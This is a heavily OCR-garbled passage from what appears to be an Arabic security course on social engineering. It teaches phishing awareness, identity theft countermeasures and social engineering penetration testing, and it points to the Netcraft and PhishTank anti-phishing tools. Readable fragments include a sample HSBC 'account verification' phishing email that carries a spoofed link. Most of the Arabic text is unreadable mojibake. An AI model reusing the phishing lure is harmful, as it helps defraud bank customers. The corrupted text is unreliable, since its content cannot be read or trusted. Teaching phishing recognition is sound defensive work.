j^I^aII ^jL UtrJ jIjjJI" <ia jia^ll Jj ^H^j ^C5-^ Jj' ul* '(phishing email) j u& ( <SjU^ J 

Jjl ^3 tJaj) jj 4jI Jc ^jJ^J jjJ^lVI *^J^ J ^Ui^ (JJjJ (J^l j ^5%^ <jl J-^ L_lLud^. ^ .JJj^ajll Jj^JJ JLjojjIj 

^JjJl J Jajl jll c '<j>^i jll (jjoij jA liA lili .<a j3 jiill Jajj jll Aijx>J jiill ^jjj ^ Jajl jll (JjS jlxJl 

^ jj ^1 js jj V . ij - 4_L^j L^jli lili t4_L^j Jc Jc Sj^lS ^j^j ^3 lij .iajljll ^jc cii^jlj j-«jJl ^i^j -c ^jjjj£3Vl 

l^gj jjj^IVI ^J^^ '\3> ^jialjcl Jj Uu3 j jjll (J!Lq Jc CjUi 
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jiill Ale A-Li ^ udll CjLg jlx-<J! <J-^j fc^* ( ; lilaJ <1^1L<J| ^1 j>» c^^JJ JajljJ ^^Jc cJ-^A^ 
(j-a ^qj'q^ ^J^)J 4il ^^ic 4j«_xi <J^l*JJ L— Ll^ t^JjjoJl ^Uucl (jljjl ^-^J -^^1 c^C- ^» > Ajj^alli ^jc (^cl j J;ii-Il (j^akjuJl 

^ .^jjj^IVI ^jjJI ^SLujj c>a j ^ c£> j^VI Cj^aj ^1 (> C5 ixi3l URL s ^) cAsj^V^ ^J^^ 

-Wu? > http://www.hsbc.com/usr/verification.aspx -1^1 jll tJUJI 
a!^> j sic ^l^J! c^ 1 ^^ c#^^ j 'http://www.108.214.65.147.com/form.aspx 

Jjj^aliiill ^-<^.j ^^3^ 2^ J -0 ls^\ ^^j? *^lcU ^ajL < ij - gajli -Lajlj ^gic - jaJLud^ll jib UiHc .URL l!^ 1 <^ (phishiiig link) 



dlH 'O O * * P HSBC Account Verification ■ Menage iHTMl, 

Messaoe Developer 



d B S 



From: 
To 

Suoject: 



Sent Moil 12/13/201© 5:29 PM 



HSBC Account veriticalion 



Dear HSBC Online user 

As parrot cur security measures, the HSBC Bam. has developed a security program acjajnsttne fraudulent 
atlempts ar>d account trteft*. Tnerefor*. our system requires further account tnTcririatior. 

A r e request information from you for tne following reason We need 1o verify your account information in order to 
insure the safety and integrity of our services 



Rtease follow fJhe link below to 



Proceed to Account ver if a catior 



roceed 



http ■ WWW. 103. 21 J £5 LJ7.com tor rn d ip> 

Click to lotto w link 



ntlo ■v/.v.v hshc com^jser-vaiiticjtion asox 



Once you kjflin. you will be provided vvrtn steps to compleiej £ verification process For your salety. we have 



physical electronic procedural safeguards that compl. vilh 
provide to us. 

Thanks and Regards. 



ederai regulations Id protect the inform at on you to 



Link that seems to be legitimate but 
leads to spoofed website 



m 



Anti-Phishing Toolbar: Netcraft *k 

http://toolbar.netcraft.com 



4 https://www.facebook.com/tibea2004 




Haekor Hatted u ** ^Ci 25-31, 2012 



The NetCt aft Toolbar provider constantly 
updated information about the sites you visit 
as well as blocking dangerous sites 



i it*' 



Jnnv«l t h* En ± gm* a £ 



ftffp //toofto r neteraft. com 




Features; 

To protect your savings from phi shin g attacks 

t? To see the hosting location and risk rating of 
every site visited 

w To tieip defend the Internet community from 
fraudsters 



Anti-Phishing Toolbar: PhishTank it 

http :// w w w .phishtank. com : j^iJI 
j&j . ii> alii ^31 ^ ^j-<i .ja^'iUj t jLuuJl i (jl (j^-dj <c a j\ o^-^ ^ * j& PhishTank 

UJJJ^*^ API ^ tcilli J] AiLjaVU ASliA ^glc lit gajli <J j^. CjU» jlx^Jlj CjULnll ^ ^J^sJl cPj^ 

.^llnki ^ ^t^aJI iailS^ CjUUj PhishTank c> u^Jj 



PhishTank is a collaborative 
clearing house for data and 
information about phishing 
on the Internet, It provides 
an open API for developers 
and researchers to integrate 
anti phishing data into 
their applications 



CD 




Join ifie fight against phishing 

Verrty other useis" sJxTsscrs &ew*Gf? software witn our free API. 



Ptncn>r{ i > r-w rt <tt1 *l 



VJhafts PhishTank? 



TOU CJft «M^ft I flU^ Of ** 



rhlviT^ tT#v<(**M fit** *n 



I1J1I65. Hrp I .' ¥,-g,id, .par r -p^ ,s* EC' Li Hon?.'.W'«l|H' , (( fc.. 

iSI£l£l hdpUWlwLhy^tfaoljOMn Hn 

13T12.M , 'lj:.*. , Mtii'Wki:r3.*»wi e-.lMM^ - 

iaJ5T* J '"TCjVw W^JJg|T*a.m ZfflJDJg3BJT^y»g^^q fa- 



ll 

-Li. 



&E 
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(Identity Theft Countermeasures) ^jfrM 3£>* A^a SjUaaJI j#\Sj1\ 

6^-1 <Jj3 ^aVl ^jujI t^^UxJl £^J^ ^LS^ al^-Vl (jLajJall 6t^LuuJ (JlLo <Jj^kjuJl tiljLa jlx-a La (J uj ^AaJLujJ LdAjc ^Jj^Jl 4£jjuj l— lAaJ 

cJ^^ l— lAaJ ^Jj^Ji a£jjuj (j^ajS .Ajj^JI AijjaJ AjL^JjojVI j £la (j-Q j^l^lll £>i& cil^cLaiJ .Ajj^JI A^jjuj t . n Vil ^-ULall S^Lja-all 

4 U^l"\ mill ^ia^ ^j-d ^qVi j 4 null 
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(Penetration Testing) JljSatf! jjSs-. 9.7 



i o llg II AjJa L-flA^Jl (j-^VI J^^-l A)\aC* j&j Lg C-\ dla^VI ^ uiAifrll ■j^-vaU _ Jjljl^VI J^-^-l J ^jjudioi tCjlAjA^llI t a ^ ^ Iflj-UiaJ ^, y"J 

g all dilijj^J SI£Ia^ cJ!^. (j-a 4_icLal^.Vl 
. jblkVI plj^V jll dl jjaaJI j 4_LgVI C5 juj>1^JI <j-aailt ^^Lol^VI AJuoall IaA t * a - 



(Social Engineering Pen Testing) AjpLu^VI 4^%SI JIjjII 

aAsJLujJ La Ullc. j .^Lalalall <J^.b (j-aVI AlaiLuj ^ AjjjoJI <J^I ^axll a j3 jblkV 4jcUu^.VI 4 m.Vgll Jjljlkl jUl^.1 (j-a ^^juli^I c flA^Jl 
L_flljl^.VI J AjAjuJI jA^Jl (JjJJJ (JI j\j J^^-^l -U^ 3 U£ C5"^^ LS^ C5 jlua^ AjcUlL^V I 4 uaAifrll Jjljlkl 

jUlkl / aiaLal] ^^)^a J] l£^J^ '^4^ J* gaaJI (ill^lul JLa jjlS <JjLaba Jc ^ J^ajj A3 tgiV 4_icLal^.VI 3 uj jJfrll JjljlkVI 

<J jj^^JI (ililc t . c^jljl^VI J^^-l <j11aJ .^JSl ^x-!lj 4_iC.Lal^.VI A uiAlfrll <J j^. ^ aialaJl (jaila J-a t flJ^lL ^ajli ^jl L_L^J JjljlkVI 

^ JjuJI m ^A al^VI ^llaJJ aJ ^^jll dlLa jIslxJI J£ £-<^> . a J^ al^VI ■ o jig II jJflJJ ^aJ (j-aj ^xilalall (jJjjjoixJl ^ ^JJ 1 CS"^ 

J-a^J L_fl jjuj ^^ill CjUjisJl Uiajlj A AialoJI AiJa CjU» jIslaII d^A ^1 laJL ol (j^J t fl^j ;djU» jlst-xJl ^1 jlSV ^ I^JLujJ ^^ill CjLuajll (j^ila j-<^ 
11a ^jV 4_icLal^.V! 4 mi,V^\1 ja. (J*}ila AAjsuqI] ^llaclj c qjqT^I jl^xi ^diUi jlx>Jl L_JjjaaJ ^jc ^jj jjjouJI ^aLkjaiVI 

IsrA ol^VI ^oj^JI ^jJa ^ jll ^iSaxJl ^IS jll JJJ^llI 

4 1 u il^ II ^jljlkl jtii^.1 (jli t^UlUj .4_Lu^<JI AjcUlL^VI ^ > » II CjLo^a Ia jUlklj <j£>uJI CjU» jIslxJI jjIa^q J£ ^- < ^ 

,CljL<i jlx-<J! j^l > ^> ^ JJ> ^>ll j ^ ->ll J^^l t : ] ^\) ^>VI 

(jli 4^1x^.1^11 CjU» jls«-<» (jl (J^j (^ill djUi jL«-a1I j>i> ^aliij CI n£ lil tli^ ^-^11 J^^^ , ^ S H 

^ > ^nWl ^11 (jUaj (j-GjJaJ IIa j .AjcI ^I^Vl A ui,Vl^l AjjojUIII CjI jla^ll ^JJJ J ^a^flJ <jl ^jjud^JjauJl lil .llljuj V 

£Jt ^ Jj^aaJl : 1 SjiaiJl J_ 

e jUl^VI ^l^>a».V ojbVI (J^J^ j ^jij ^^^ic jj^^Jl A-icUu^.VI <joj^JI ^jljlkl jLii^J J jVI d jjr^ti 

J) jlkVI jLull Jllaj JjJaj :2 S jkaJ) ^ 

^Uaj ^^ill (j-iiia J-^lj ^Ijl^V^ ^-^^ (JIa AjjujLujVI CjLd jlx-<Jl ^a^. Jl ^ll^J 46 j^>^^ .(jjUaill ^AaJ 4_icUu^.VI A i o II ^jljlkl 

^jIIj .^cll 6<j ^ j a jol aH ^^Lall ^LaJiaVI ^jlaui jl ti g Jl 
11luw4 Sji^xll uit JASft c> CjVUsjVI j ^ J>*Wt JjjJt Jjtuuj 4-Ajli ^ Jj^aaJ) : 3 S jkaJ) 

^A^IjII ft jJakll ^ ^I^a\£ a^.Ij^I ^1 (jjill (JjjUII (jc jL^ajVI Jj-ualijj ^jjj^IVI ^JjJl cJ^J J J'^^ <LLJ| b jlaaJI 

(Jj > <a1 9J j ^jjj^IVI ^^11 (jl J^) ^^J^ CliUi jlx-al! -ja-vin CliUi j1s«-a1I £J A ~> ^° 1 ^ .(J^J^ 1 ^^ (J^ 3 ^ ^3^^ 

JJC. CjLd j1»_a1! lil ^Iji ^ - gaJ ^Lx»lj^)J ^LudjU ^aS tojSl jIxj CjUi jIslaII CajI^ lil .V ^al A^lla ^^A (^cll cJU^jVI 

.Ai^jjaixJl <jouojj>J| ^iLilxll (JU^jVI > *a1 Vij ^jjj^IVI ^^11 cJj^j * ^ 

a^jum^a!\ qAaLxII JLu^jVI Jj<nl j*! j jjj£1VI ^j^l cP^j :4 S jls^il ^ 
JU^jVI > 9jj ^jjj^IVI ^^11 u^jl-^ c ' a1jL^-gj 'sjj q ^LolaII ^aLkjuiVI (jc djLa jL«-a1I ^^Ic jj^i*ll < te5 lc lj^ ^ ^! 
d^Jlj USENET '(email guessing) c^jj^V^ ^J^^ cjI^j ^l^ki^U ci^ll ^L^>JI ^ cl^j^^^ o^ 3 ^^ 

^ 'Email Extractor Email Spider Tools j ^jijyi 
Footprinting cjUjSj ^l±klduL CjUjIs-aII j-a^ :5 SjkaJI 4. 
^ U jit* j Email Footprinting ^^j^-jj ^^1^11 a Jaiall c ^iSa j-q JL^jVI J^al9j j ^ jjj£1V! ^jjJI u^j^ J 

Ij^li du£ lij /oA^ ^1 L^I^aVI (jc <^.ll<Jl diUi j1»_a1! (jiaJ .<a^JjauJl A aWiaW q£> diUi jlst^ll ^ (j^Axi jj£I CjljVqMl 

^jI jill ^jc > ^i'i ^Lxilj^)J ^LauU ^3 SAiLa ^^A ^^lll diUi jls«-xJl J-^- ^^-Sc 

Jj.ualijj ^jjJ^lVI ^JjJl (JjlwJJ Jj^-J 4 S J^^^ J^jl tftAAa Jl L^lAAVI (jC 6 llLa CjLg jlsuft ^ ^) 



, https://www.facebook.com/tibea2004 
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B iijUuJl A-nLJIj <^UjVI gjlull 

U ^ uj j fljlgJl a I iklLujl J t^jjj^lyi •JJ^jll cJj^J <J^-^ (j* m 4j&j*a <*->^J 4_icUu^.VI 

(JIa 4_L^kjuj CjU» jl*-* t ; lilaJ ^jjl&lVI •JJ^jll cJj^J J^jj 6L_fl^J! <-<Jal<Jl (j* C5^JJ^V^ "^O^ C-MJ^ C ' cJ*^W ^J-^ 

<a3l^xi 6^jl.J (j-a uj ^1 jl ^Ll^. J*^ *^ ^Cj] (Jjl ;<£jjuoll (Jjjjai^£ liLuoAj 4j^oJ (_£j^)la (jC ^JjuJI CjLaKj j.ba ^ J> haII pLojaii 

■ajj ;L_fl^Jl L_ala j^l £-|j,lLuil J lil .^°/ Q ^ ^i^J J-^JJ (jlj t , ^ (j^aLkJl ^jjl&lVI •JJ^jll .L£j^ >^ 4-*Jji ^l^aJLuiU 

tV du£ lij (j^lj A>Q LL^jJall ^IxJj CjLg jl»_xJl (Jjj jjj J^Lk (j* 4_i^jJall 4_L^kjuJl CjLg jlx^Jl ^-l^^luil > aJ <Ja*JI 

jjj£JV! •JJ^jll (Jj^J cJ^jl^ ^ 6L_fl^Jl L_Lla j-<Jl (j-G l$\ ^^ic <J jj^^JI .JJjJ L— n£ lij ^A-i^jJall JJjJadl Ci^ 3 .(3^ 

jjj£3VI ^jJl ^^jj ^jj^^l Cjlia^JI 
LL^ual) uil^lujV AluaJl CjU^j^I ^J^l cP^j ^Ij-a j Jtuujj :8 S jla^l 

4)"% > ^11 dijl£ lit La ^jiaall ReadNotify j^^ ^l.^^nb ^u^jjall ^ jj!i£3Vl -^>^ ^^j-* ^ j .c^j^ •^ c - ^j^ > ^1 jW^- 

(JjLuij cJ^jj cJ^ c5^>^^ djljj^j Aiijj <-!^ V .<-— jU» jls«-<» ^1 jlil tilj£ V < iiLuia]| 4_i^jjall ^liij ^Jj ciiLu^ iij 

LUuial! Lili^luiV fjl JJ^V) JjL-uj JLuijI :9 S jklil J_ 

.(I^J U^V^ UJ^ ( ^j) ^ ' ^ ' ^ J^*^ J^-^ cl>^ j^jj ^^ill L_fll^A!>l! lb galll JjLojj cJ^jj 

(Social Engineering Pen Testing: Using Phone) <-i3l$Jt ^l^3«i) ^> 

. ciolSlI jUaill jLojjJ l^jI^JI ^> ^1uiU Aj^Ui^V! jlkl jblkl pi j^V CjI j^\I ^Sj Lqjs 

^Viiim djb jAlIiUl j ui^Jl ^illuuxllj JLusjVI :11 S jkaJl i^. 
.^Silt ^iJl jAa djL jAUaUl j (JiigJL JUajVI : 12 S jI^Jl i_ 

jl cilj^J 6<Ljia3l J-JI c> Jj^a^l L>asu ^1 ^ du£ tlil ^1 U j t^lkill ^1,^1 ml IgJ^ j-a ^1 CjIS jVl J 

e (jjjJa j-ol! (j-o 4 ujl >>i^ djLa ^ls«^ jc (jLaaj 

(CjULjJI 4j j A^IaUl jj.A^-^1 (j^fllaaiVI i^l j£ tiloiij ^jjIj j ui^JL JtuajVI :13 S jh^ll J_ 

- M ljU jLla]| JjLu] V^J CjUlIaII 4J lJ^JL Jluaj^l :14 S jkaJl ^ 

.1 j < nin CjU jlauJl jC L-fllJAVI ji-uiJ di^kJ Aj^uuixJl AjPL^VI CjUjSj unl : 16 S jifl^Jl i^. 

c^IIja (Jj^j (jl o^j .A-ik^kjaJI CjIjI^xJI jUlklj JaJa^xJI (jjaij (jl (j^j jUli.VI cf^* ^jcU»j^.VI ^ i » ^ 13 ^jj^J c^l ^^-^ 

jUlkVI <— s\ jlxkj ^jL Ixjb (JjS.jjII . jUj^.VI jUajj 4_^.ll<JI CjUi ^1 bUlaal ^j^-VI 4_ic.Uu^.VI 4jaj,jj^JI CjLuij ^ ^ - a^j V 

A-uia i>a^ufl J-<^ 
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J&\ jblkV J*l£lt Jjlkd! jUjJal lb ua J^lL\ ^ .4-15 jjlill J^xJl (j^ ^ O- 3 ^ 

.^jtiJI <>VI jSXft djL jAtlajil j Stud* JjlJ 4J jU* :18 S jkaJl 

#L5 ii£ SUiLi JjlJ 4J :19 S jla^J! ^ 

.i ^VihmH j A-JajSfl ^ shoulder surfing j '"^ffl :21 SjkaJI ± 



CjUjJjl* ^ A^Ub.VI J *j$ j^Sfl c^tlu,! ^ .CEHv8 4^ J 

ja!\ £XL A^\l Lufl j 4ia 4*42 ljL&1 liA 

- Christopher Hadnagy - Social Engineering: The Art of Human Hacking (main) 

- Christopher Hadnagy - Unmasking the Social Engineer. The Human Element of 
Security (main) 

- Syngress. Social Engineering Penetration Testing 



